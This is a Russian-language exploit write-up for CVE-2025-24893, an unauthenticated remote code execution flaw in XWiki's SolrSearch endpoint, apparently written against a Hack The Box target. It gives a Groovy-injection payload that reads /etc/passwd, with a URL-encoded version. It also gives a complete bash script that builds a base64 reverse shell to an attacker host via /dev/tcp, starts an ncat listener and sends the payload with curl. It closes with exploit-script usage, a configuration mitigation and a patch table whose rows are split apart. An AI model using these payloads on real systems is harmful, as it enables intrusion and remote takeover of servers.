
CVE-2025-24893 — это критическая уязвимость неаутентифицированного удалённого выполнения кода (RCE) в XWiki, популярной корпоративной вики-платформе с открытым исходным кодом.
SolrSearch (интерфейс XWiki)Конечная точка /xwiki/bin/get/Main/SolrSearch конкатенирует недоверенные входные данные text= напрямую в шаблон Freemarker.
Преждевременно закрыв шаблон и открыв новый блок {{groovy}} … {{/groovy}}, атакующий может выполнить произвольный Groovy-код без аутентификации.
GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>> HTTP/1.1
SolrSearch должен встраивать переданный текст как обычное содержимое, но обработчик
макроса не экранирует }}}, поэтому происходит следующее:
}}} закрывает текущий блок Freemarker. {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}
async=false принудительно выполняет код синхронно (работает даже для гостей).Минимальный PoC, который выводит /etc/passwd:
}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}
URL-закодированный вариант (пробелы → %20, скобки → %7B/%7D и т.д.):
%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
| Ветка | Исправлено в | Уязвимые ≤ |
|---|---|---|
| 15.x | 15.10.11 | 15.10.10 (и все 15.9 / 15.8 …) |
(источник: консультация OffSec и XWiki SEC-S 2025-02)

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444
# 1. one-liner reverse shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
# 2. Base64 (single line)
B64=$(echo -n "$SHELL" | base64 -w0)
# 3. wrap in Groovy macro
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'
# 4. URL-encode
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")
# start listener
sudo ncat -lvnp 4444
# trigger exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"
xwiki_solr_rce.py поставляется в каталоге exploit/ (см. блок кода ниже).
python CVE-2025-24893.py -u <TARGET URL> -l <IP> -p <PORT>
где
<TARGET URL> - URL including http:// or https://
(передайте -c "id", чтобы выполнить произвольную команду вместо shell)

# /etc/xwiki/xwiki.properties
solr.search.enabled = false
Исследование и PoC: DeX1d
Отказ от ответственности: Только для образовательных целей. Использование против систем, которыми вы не владеете, незаконно.
| 14.x LTS | 14.10.17 | 14.10.16 |
| 13 / 12 | Не поддерживается – все остаются уязвимыми |